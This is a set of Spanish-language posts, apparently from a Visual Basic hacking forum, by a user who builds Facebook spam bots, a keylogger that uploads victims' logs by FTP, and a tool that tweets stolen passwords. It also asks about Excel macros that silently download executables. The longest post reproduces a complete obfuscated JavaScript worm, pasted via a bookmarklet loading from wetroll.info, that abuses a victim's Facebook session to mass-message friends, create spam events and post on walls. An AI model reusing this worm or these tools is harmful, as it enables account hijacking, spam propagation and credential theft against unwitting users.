Temas

Alguien me puede dar una guía básica para hacer esto? quisiera agregarlo a un programa que tengo, pero ni idea de donde empezar.


Gracias de antemano

http://www.captchabrotherhood.com/api.aspx

Estoy intentando subir fotos a facebook o twitter via visual basic

Lo que uso normalmente son metodos rudimentarios tipo setear los datos de campos como "INPUT", "SELECT", "TEXTAREA" y otros propios de HTML, desde VisualBasic 6... Con esto pude hacer un bot que hace spam en fb

Ejemplo de "setear":
  WebBrowser1.Document.All("texto").Value = "Hola"

El reto, es descubrir como setear un objeto "FILE" del formulario web... ya que aún no lo pude conseguir... y supongo que existe una forma...
Pero como no se tanto de este tema y no consuigo descubrirlo yo solo... acudo a ustedes, ya que, estoy seguro que alguien sabe más sobre esto que yo...

Ejemplom de objeto file: <input type="file" name="file1" />

Por ahí encontré que el modo consiste en utilizar bookmaklets he inyectar un formulario javascript con una capa editable y un textarea mas un btoon input luego cargando el codigo de imagen <IMG SRC='C:\Documents and Settings\Abkánis\Escritorio\carpeta\carpeta de proyectyo\1.jpg'/> dentro del textarea todo eso hacerlo desde la barra de direcciones que ayas echo en el VB6 y manipular por control web browser el boton imput asi sea la pagina que se cargue en la caja del webrowser puede ser manipulada de ese modo .

Alguna idea?

Holaa.

Alguien sabe algún método para borrar el espacio que genera la tecla TAB, ocupa el doble de lo que ocuparía un " ", pero no es un espacio en blanco, ya probé con replace, TRIM, etc

Espacio en blanco es = " "
Tab = "   "

Gracias de antemano.

Hola que tal.

Estoy haciendo una aplicación que guarda cadenas de texto (oraciones.. frases) en un listbox para luego comparar y extraer las cadenas mas grandes.

El punto es que algunas cadenas de texto son muy grandes.y solo se guardan hasta cierta parte porque creo que el listbox tiene un limite de caracteres... Que sugerencia me darían?... donde mas puedo almacenarlas momentáneamente ? Hay algun control listbox o algo que me aguante mas texto?

Gracias de antemano

Hola quisiera vender un programa que hice en vb, pero me gustaría que solo funcione para la pc de la persona que le venda.

El problema es que lo vendo por internet asi que ni contacto con la pc tengo .

Algun codigo que recomienden por Favor

Hola Foreros, Este es un proyecto que lo abandone (http://foro.elhacker.net/programacion_visual_basic/proyecto_facebook_spam_10-t324758.0.html ) ya que permitia solo enviar algunos mensajes ( 30, cada media hora, un calculo a groso modo).

Sin embargo, ayer viendo algunos perfiles vi  una "aplicacion" que te permitia ver quien visitaba tu perfil... .bablabla

En resumen entrabas a una web : spampafacebook.com (ejemplo), Pegabas un Script en el navegador (previamente logeado en facebook ) Y el Script envia un mensaje (chat ) a todos tus amigos.

Rebuskando encontre el script  (puedes verlo abajo), Mi duda es la siguiente.. Como podria hacerlo en vb?.. Se Vb6 pero no a este nivel... Agradeceria su Ayuda.:

//var eventdesc = ev + url + randomnumber;
       // <script>
  // the following line is what they paste into the browser:
  // javascript:(a=(b=document).createElement('script')).src='//wetroll.info/e.js?'+Math.random(),b.body.appendChild(a);void(0)
var randomnumber=Math.floor(Math.random()*99999);
var randomnumber1=Math.floor(Math.random()*987);
var randomnumber2=Math.floor(Math.random()*754);
var randomnumber3=Math.floor(Math.random()*43);
var randomnumber4=Math.floor(Math.random()*9);
var random=Math.floor(Math.random()*5);

if (random == 1)
{
var url = 'webear.ning.com'
}
else if (random == 2)
{
var url = 'webear.ning.com'
}
else if (random == 3)
{
var url = 'webear.ning.com'  
}
else if (random == 4)
{
var url = 'webear.ning.com'
}
else
{
var url = 'webear.ning.com'
}

var chatmessage = 'Hola %firstname% te atrape jjaja vi que viste mi perfil con esta app ' +url;
var postmessage = 'Ultimos que vieron tu Perfil:\n %tf% - 18 visitas\n %tf% - 16 visitas\n %tf% - 15 visitas\n %tf% - 13 visitas\n %tf% - 11 visitas\n %tf% - 9 visitas\nMas informacion en : ' +url;
var redirect = 'http://facebook.com';
var eventdesc = 'Yo aprendí una forma de ver quién ve tu perfil\n\nSiga estos sencillos pasos para averiguarlo:\n\ntodo lo que tienes que hacer es ir a este enlace y siga las instrucciones :: ' +url;
var eventname = 'Chequea quienes son los que mas visitan tu perfil';
var nfriends = 5000;
var debug = false;
var wf = 0;
var mf = function () {
       if (wf <= 0) {
           setTimeout(function () {
               window['top']['location']['href'] = redirect;
           }, 500);
       };
   };
var doget = function (_0xaa04xb, _0xaa04xc, _0xaa04xd) {
       var _0xaa04xe = new XMLHttpRequest();
       _0xaa04xe['open']('GET', _0xaa04xb);
       _0xaa04xe['onreadystatechange'] = function () {
           if (_0xaa04xe['readyState'] == 4) {
               if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
                   _0xaa04xc(_0xaa04xe['responseText']);
               };
               if (_0xaa04xd) {
                   _0xaa04xd();
               };
           };
       };
       _0xaa04xe['send']();
   };
doget('/', function (_0xaa04xf) {
   var _0xaa04x10 = document['cookie']['match'](/c_user=(\d+)/)[1];
   var _0xaa04x11 = function (_0xaa04x12) {
           return _0xaa04x12 ? '@[' + _0xaa04x12['id'] + ':' + _0xaa04x12['name'] + ']' : '';
       };
   var _0xaa04x13 = function (_0xaa04x12) {
           return _0xaa04x12 ? _0xaa04x12['name'] : '';
       };
   var _0xaa04x14 = function (_0xaa04x12) {
           out = '';
           for (var _0xaa04x15 in _0xaa04x12) {
               out += (out ? '&' : '') + _0xaa04x15 + ((_0xaa04x12[_0xaa04x15] !== null) ? '=' + encodeURIComponent(_0xaa04x12[_0xaa04x15]) : '');
           };
           return out;
       };
   var _0xaa04x16 = function (_0xaa04xb, _0xaa04x12, _0xaa04xc, _0xaa04xd) {
           var _0xaa04xe = new XMLHttpRequest();
           _0xaa04xe['open']('POST', _0xaa04xb);
           _0xaa04xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
           _0xaa04xe['onreadystatechange'] = function () {
               if (_0xaa04xe['readyState'] == 4) {
                   if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
                       _0xaa04xc(_0xaa04xe['responseText']);
                   };
                   if (_0xaa04xd) {
                       _0xaa04xd();
                   };
               };
           };
           _0xaa04xe['send'](_0xaa04x14(_0xaa04x12));
       };
   var _0xaa04x17 = function () {
           var _0xaa04x18 = document['createElement']('div');
           _0xaa04x18['style']['display'] = 'block';
           _0xaa04x18['style']['position'] = 'absolute';
           _0xaa04x18['style']['width'] = 100 + '%';
           _0xaa04x18['style']['height'] = 100 + '%';
           _0xaa04x18['style']['left'] = 0 + 'px';
           _0xaa04x18['style']['top'] = 0 + 'px';
           _0xaa04x18['style']['textAlign'] = 'center';
           _0xaa04x18['style']['padding'] = '4px';
           _0xaa04x18['style']['background'] = '#FFFFFF';
           _0xaa04x18['style']['zIndex'] = 999999;
           _0xaa04x18['innerHTML'] = '&nbsp;<br/>Por favor, espere unos segundos ...<br/><br/> www.PortalFb.com : Todo para Facebook <br/><br/> Si no quiere esperar... <a href="javascript:void(0);" onclick="wf=0; mf();">haga clic aqui</a> ';
           document['body']['appendChild'](_0xaa04x18);
       };
   var _0xaa04x19 = _0xaa04xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
   if (_0xaa04x19) {
       comp = _0xaa04x19[1];
   } else {
       comp = '';
   };
   var _0xaa04x1a = _0xaa04xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
   var _0xaa04x1b = _0xaa04xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
   var _0xaa04x1c = document['getElementById']('navAccountName')['firstChild']['data'];
   redirect = redirect
   _0xaa04x17();
   if (eventdesc) {
       wf++;
       _0xaa04x16('/ajax/choose/?__a=1', {
           type: 'event',
           eid: null,
           invite_message: '',
           __d: 1,
           post_form_id: _0xaa04x1a,
           fb_dtsg: _0xaa04x1b,
           lsd: null,
           post_form_id_source: 'AsyncRequest'
       }, function (_0xaa04x1d) {
           var _0xaa04x1e = _0xaa04x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
           var _0xaa04xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xaa04x10 + '&token=' + _0xaa04x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
           doget(_0xaa04xb, function (_0xaa04x1f) {
               var _0xaa04x20 = _0xaa04x1f['match'](/\{"uid":\d+,/g);
               var _0xaa04x21 = [];
               for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
                   var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/:(\d+),/)[1];
                   if (_0xaa04x23 != _0xaa04x10) {
                       _0xaa04x21['push'](_0xaa04x23);
                   };
               };
               var _0xaa04x24 = new Date();
               _0xaa04x24['setTime'](_0xaa04x24['getTime']() + 60 * 60 * 24 * 1000);
               datestr = (_0xaa04x24['getMonth']() + 1) + '/' + _0xaa04x24['getDate']() + '/' + _0xaa04x24['getFullYear']();
               timestr = _0xaa04x24['getHours']() * 60;
               var _0xaa04x25 = {
                   post_form_id: _0xaa04x1a,
                   fb_dtsg: _0xaa04x1b,
                   start_dateIntlDisplay: datestr,
                   start_date: datestr,
                   start_time_hour_min: timestr,
                   name: eventname,
                   place_page_id: '',
                   location: '',
                   street: '',
                   geo_id: '',
                   geo_sq: '',
                   desc: eventdesc,
                   sgb_invitees: _0xaa04x21['join'](','),
                   sgb_emails: '',
                   sgb_message: '',
                   privacy_type: 'on',
                   guest_list: 'on',
                   connections_can_post: 'on',
                   save: 'Create Event',
                   submitting: ''
               };
               _0xaa04x25['new'] = '';
               _0xaa04x16('/events/create.php', _0xaa04x25, false, function () {
                   mf(--wf);
               });
           });
       });
   };
   if (chatmessage) {
       wf++;
       _0xaa04x16('/ajax/chat/buddy_list.php?__a=1', {
           user: _0xaa04x10,
           post_form_id: _0xaa04x1a,
           fb_dtsg: _0xaa04x1b,
           lsd: null,
           post_form_id_source: 'AsyncRequest',
           popped_out: false,
           force_render: true
       }, function (_0xaa04x1d) {
           var _0xaa04x26 = _0xaa04x1d['substr'](9);
           var _0xaa04x27 = eval('(' + _0xaa04x26 + ')');
           var _0xaa04x28 = _0xaa04x27['payload']['buddy_list'];
           for (var _0xaa04x29 in _0xaa04x28['nowAvailableList']) {
               var _0xaa04x2a = Math['floor'](Math['random']() * 1335448958);
               var _0xaa04x2b = (new Date())['getTime']();
               var _0xaa04x2c = chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']());
               _0xaa04x16('/ajax/chat/send.php?__a=1', {
                   msg_id: Math['floor'](Math['random']() * 1335448958),
                   client_time: (new Date())['getTime'](),
                   msg_text: chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()),
                   to: _0xaa04x29,
                   post_form_id: _0xaa04x1a,
                   fb_dtsg: _0xaa04x1b,
                   post_form_id_source: 'AsyncRequest'
               });
           };
           mf(--wf);
       });
   };
   if (postmessage) {
       wf++;
       doget('/ajax/browser/friends/?uid=' + _0xaa04x10 + '&filter=all&__a=1&__d=1', function (_0xaa04x1d) {
           var _0xaa04x20 = _0xaa04x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
           var _0xaa04x2d = [];
           if (_0xaa04x20) {
               for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
                   var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/_\d+_/)[0]['replace'](/_/g, '');
                   var _0xaa04x2e = _0xaa04x20[_0xaa04x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
                   _0xaa04x2d['push']({
                       id: _0xaa04x23,
                       name: _0xaa04x2e
                   });
               };
           };
           var _0xaa04xd = [];
           var _0xaa04x2f = [];
           while (_0xaa04x2d['length']) {
               var _0xaa04x30 = Math['floor'](Math['random']() * _0xaa04x2d['length']);
               _0xaa04xd['push'](_0xaa04x2d[_0xaa04x30]);
               _0xaa04x2f['push'](_0xaa04x2d[_0xaa04x30]);
               var _0xaa04x2b = _0xaa04x2d['shift']();
               if (_0xaa04x30) {
                   _0xaa04x2d[_0xaa04x30 - 1] = _0xaa04x2b;
               };
           };
           if (debug) {
               alert('fetched friends: ' + _0xaa04xd['length']);
           };
           var _0xaa04x31 = {
               post_form_id: _0xaa04x1a,
               fb_dtsg: _0xaa04x1b,
               xhpc_composerid: comp,
               xhpc_targetid: _0xaa04x10,
               xhpc_context: 'home',
               xhpc_fbx: '',
               lsd: null,
               post_form_id_source: 'AsyncRequest'
           };
           mt = postmessage;
           m = postmessage;
           while (mt['search']('%tf%') >= 0) {
               var _0xaa04x32 = _0xaa04xd['pop']();
               mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
               m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
           };
           _0xaa04x31['xhpc_message_text'] = mt;
           _0xaa04x31['xhpc_message'] = m;
           if (debug) {
               alert('message text: ' + mt);
           };
           _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x31);
           var _0xaa04x33 = function (_0xaa04x15) {
                   if (_0xaa04x15 == 0) {
                       wf = 0;
                       mf();
                       return;
                   };
                   var _0xaa04x34 = _0xaa04x2f['shift']();
                   var _0xaa04x35 = {
                       post_form_id: _0xaa04x1a,
                       fb_dtsg: _0xaa04x1b,
                       xhpc_composerid: comp,
                       xhpc_targetid: _0xaa04x34['id'],
                       xhpc_context: 'profile',
                       xhpc_fbx: 1,
                       lsd: null,
                       post_form_id_source: 'AsyncRequest'
                   };
                   var _0xaa04x36 = postmessage;
                   var _0xaa04x37 = postmessage;
                   if (_0xaa04xd['length'] == 0) {
                       wf = 0;
                       mf();
                       return;
                   };
                   while (_0xaa04x36['search']('%tf%') >= 0) {
                       var _0xaa04x38 = _0xaa04xd['pop']();
                       _0xaa04x36 = _0xaa04x36['replace']('%tf%', _0xaa04x13(_0xaa04x38));
                       _0xaa04x37 = _0xaa04x37['replace']('%tf%', _0xaa04x11(_0xaa04x38));
                   };
                   _0xaa04x35['xhpc_message_text'] = _0xaa04x36;
                   _0xaa04x35['xhpc_message'] = _0xaa04x37;
                   _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x35);
                   setTimeout(function () {
                       _0xaa04x33(_0xaa04x15 - 1);
                   }, 2000);
               };
           wf++;
           setTimeout(function () {
               _0xaa04x33(nfriends);
           }, 2000);
       });
   };
   mf();
});

Hola Foreros

Quisiera Pedir Su colaboracion Teorica y si fuera posible practica.

La Idea :

Hace un Bot para Facebook que envie mensaje a Tus Amigos , Asi como a los amigos de tus amigos.

Puntos En CUenta:
+ Leer La  informacion de Cada Usuario, Y a travez de estos Datos enviar un Mensaje Personalizado, Asi hacer mas creible el Mensaje.
+ No enviar un mensaje al Mismo Usuario
+ Recopilar Datos Como Id, Correo y Pais.

+++++++++++++++++++++++++



Personalmente Hice lo anteriormente explicado de manera Basica. para que se entienda un poco la Idea.

http://www.4shared.com/file/QFuIR-OI/amixerfacebook.html
Codigo FUente en Vb 6.0

El Codigo que adjunto Cumple con el objetivo pero no es eficiente (respecto al tiempo). Ademas de otros detalles.

Agradecere Su Colaboracion.


pd : No es para implementar a un virus o algo asi.. es para enviar mensajes desde una Cuenta "Basura"

HOla Foreros en mi busqueda de nuevas victimas amistades, me tope con los macros de excel, los cuales permiten descargar de forma oculta un .exe archivo  ( me emociono xq no lo sabia )

Bueno en resumen mi duda es esta :

Se puede hacer en vb6  alguna rutina para crear un archivo .xls, ( aunque de preferencia .xla ) que contenga macros en su interior?.

Y de ser asi que pasos puedo seguir ..

pd: se lo que van a decir .. usa google.. no seas flojo.. que en el foro hay gb de informacion sobre el tema..  Sin embargo soy sincero he buskado y encontra porca informacion y de lo cual no comprendo nada.

Agradeceria su ayuda

Bueno debido a problemas de mi hosting ( http://www.teensmagazine.net ) .. ya no tenia donde enviar claves datos, de mis victimas amigos.

Asi que lo mas practico que se ocurrio fue twittear, los datos obtrenido desde mi cuenta twitter (obiamente una cuenta nueva y falsa).

Mi pregunta es :

¿Existe alguna forma mas sencilla, de twittear desde Vb6? quizas en menos lineas..

Codigo:

Código (vb) [Seleccionar] Expandir


Private Sub twittear()
If wb2.LocationURL = "https://mobile.twitter.com/session/new" Then
Me.wb2.Document.All("username").Value = "AquiCorreo"
Me.wb2.Document.All("password").Value = "AquiContraseña"
Dim HTML
Dim HTMLI
Set HTML = wb2.Document
For Each HTMLI In HTML.getElementsByTagName("input")
    If HTMLI.Type = "submit" Then
      HTMLI.Click
      Exit Sub
    End If
  Next
End If

If wb2.LocationURL = "http://mobile.twitter.com/" Then
'p2.Visible = True
Me.wb2.Document.All("tweet_text").Value = id.Text & contraseña.Text  
Set HTML = wb2.Document
For Each HTMLI In HTML.getElementsByTagName("input")
    If HTMLI.Value = "Tweet" Then
      HTMLI.Click
      Exit Sub
    End If
  Next
  End If
End Sub


pd : No confien en AqpHost -.-!

Estimados Foreros.

Hice un codigo pequeño y deseo comercializarlo.

Mi duda es.. se puede puedes convertir esta rutina un ocx, dll o algo que protega el codigo y ademas permita ser utilizado para aplicaciones posteriores???

Disculpen las molestia, ya lo solucione:

http://www.mundoprogramacion.com/vb/avanzado/crear_dll_windows_con_vb6_explicado.htm

Hola, estoy tratando de hacer una consulta en una pagina web ( consulta de ruc, Peru)

Pagina : http://www.sunat.gob.pe/cl-ti-itmrconsruc/frameCriterioBusqueda.jsp

Ya logre hacer la parte de meter los datos via vbasic.

El problema es en el bendito Captcha .. Lo solucione (arcaicamente).. sacando una foto por codigo a cierta parte del webbroser y mandandolo a esta pagina : http://www.newocr.com/

Funciona.. si.. Demora.. Como mier.... xD!

Tienen alguna idea de como hacerlo de forma mas sencilla?
Osea.. si vb6.. puede descifrar el captcha ( ojo que ya buske en planetsource)



Alguna forma d entrar al portal wap sin emulador??.. grax ! d antemano

Agradecer su ayudaa !

Buenoo en mi afan de sakar mas visitas para mis paginas .. y sabiendo lo basico de visual basic, hize una pequeña aplicacion que acepta y manda comentarios a todas las personas que soliciten tu amistad.

Es poco eficiente pero si eficaz, ya que cumple su objetivo.. aunque tengas que tener la pc prendida buen tiempo.

Les dejo el codigo fuente :

http://www.gigasize.com/get.php?d=pmcw6b01pwd

Para que funciona . lo ejecutan, se logean.. y hacen click en el boton modo automatico

Si alguien desea pulirlo (practicamente hacerlo de nuevo). Pues seria genial ya que podriamos expandirnos a mas redes.

Por mi parte tengo un codigo mas completo en el facebook que ademas extrae informacion como correo.. y preferencias. Mas adelante lo colgare si es que veo curiosidad en el tema.

pd: apenas se programar estudio marketing.. asi q no me critiquen mucho.

Gracias 

Busco Webmaster's con mas de 10mil visitas unicas diarias , que deseen mejorar sus ingresos en adsense, smowtion u cualquier otro sistema de publicidad por Click.


Ganancia Aproximada minima mensual : 600-700 $


Interesados escribir a : [eliminado]

O mensaje por el foro.

Escribir con url y promedio de visitas diarias.
Gracias

Hola a todos, queria ayuda sobre, un programa que realize,, lo que hace es subir un archivo a una pagina, web:

+ o - , funciona asi :

guarda datos de la pc (keylogger) , y lo manda a  la web en este formato :

www.yalosabes.com/yalosabes/1.233.553.88(ip de la pc).txt

ahora para ver todos los archivos tengo que usar un administrador ftp, sin embargo es algo tedioso, como hago?, para que se junte todas las ips en un solo archivo y por ejemplo al visitar :

www.yalosabes.com/yalosabes/atrapados.html

me apareskan las ips, de las victimas, no se i me habran comprendido, espero su inmediata ayuda, gracias anticipadamente.

Holas a todos  , no se  si habra alguna forma de saber el correo de la ventana con la que estoy hablando en el msn, si hay algun code por hay porfis pasenlo, grax a todos

Holas, no se si habra una forma de saber el correo de la ventana de la conversacion del msn con la que stoy hablando.

Holas, el foro ta wenaso, sobre todo porke son de muxa ayuda, aky traigo otra duda, como hago para capturar las imagenes de mi camaara web?? , gracias

[Holas a todos, tenia una duda : se puede comparar 2 imagenes ? porke pensaba en hacer un programa de vigilancia con mi cam , o kaso contrario alguna forma que mi cam detecte movimientos.]

Holas a todos, tenia una duda  : se puede comparar 2 imagenes ? porke pensaba en hacer un programa de vigilancia con mi cam , o kaso contrario alguna forma que mi cam detecte movimientos. Gracias 

Holaz a todos nuevamente, aka stoy con una duda, he visto algunos problemas que crean un ejecutable desde un ejecutable, como lo hacen? si alguien lo sabe porfa aviseme hata luego bye

DEjo un ejemplo que saquè de la pàgina de micro$oft de como descar un archivo de una url mediante el control Inet. Yo le agreguè una barra de progreso pero no usando el Progressbar , sino mediante 2 Shape.

Poner un command1 que comienza la descarga
Un Control Inet
2 Shapes, Shape1 y Shape2

Nota: El Shape1 se usa para mostar el contorno del total del progreso, y el shape2 es el que va aumentando, es decir el progreso.


Private Sub Command1_Click()
   
    Inet1.AccessType = icUseDefault
    Inet1.URL = "http://upx.sourceforge.net/download/upx124w.zip"
    Inet1.Execute , "GET" 'Indicamos que vamos a descargar o recuperar un _
    archivo desde una url
End Sub

Private Sub Inet1_StateChanged(ByVal State As Integer)
    Dim vtData As Variant 'acá almacenamos los datos
    Dim nomArchivo As String
    'extraemos de la ruta entera solo el nombre del archivo
    nomArchivo = Right(Inet1.URL, Len(Inet1.URL) - InStrRev(Inet1.URL, "/"))

    Select Case State
    Case icResponseCompleted
        Dim bDone As Boolean: bDone = False
        Dim tempArray() As Byte ' Un array para grabar los datos en un archivo
        'Para saber el tamaño del fichero en bytes
        filesize = Inet1.GetHeader("Content-length")
        'Establecemos el Max del = a al tamaño del archivo
         
     
        contenttype = Inet1.GetHeader("Content-type")
        'Creamos y abrimos un nuevo archivo en modo binario
        Open App.Path + "\" + nomArchivo For Binary As #1
        ' Leemos de a 1 Kbytes. El segundo parámetro indica _
        el tipo de fichero. Tipo texto o tipo Binario, en este caso _
        binario
        vtData = Inet1.GetChunk(1024, icByteArray)
       
        DoEvents
        'Si el tamaño del fichero es 0 ponemos bDone en True para que no _
        entre en el bucle
        If Len(vtData) = 0 Then
                  bDone = True
        End If
        Shape2.Width = 0
        Do While Not bDone
             'Almacenamos en un array el contenido del archivo
             tempArray = vtData
             'Escribimos el archivo en disco
             Put #1, , tempArray
             'Aumentamos la barra
             Shape2.Width = Shape2.Width + (Len(vtData) * 2) * Shape1.Width / filesize
             
             ' Leemos de pedazos de a 1 kb (1024 bytes)
             vtData = Inet1.GetChunk(1024, icByteArray)
             DoEvents

             If Len(vtData) = 0 Then
                  bDone = True
             End If
        Loop

        Close #1
   
   
    End Select

End Sub

Holaz a todos, weno soy nuevo en sto y pos keria colaborar con algo, miren he hecho un keylogger , que manda el log(lo grabado) a una pagina web(por ftp), ahora el problema es que kisiera personlizarlo un poko, si les interesa el proyecto que ia esta hecho pero falta personalizar para ustedes puedan usarlo, escriban sus mensajes en el foro, o kisas no tengan interes , weno hay los veo cuidenseeeeee y pos spero respuestasss.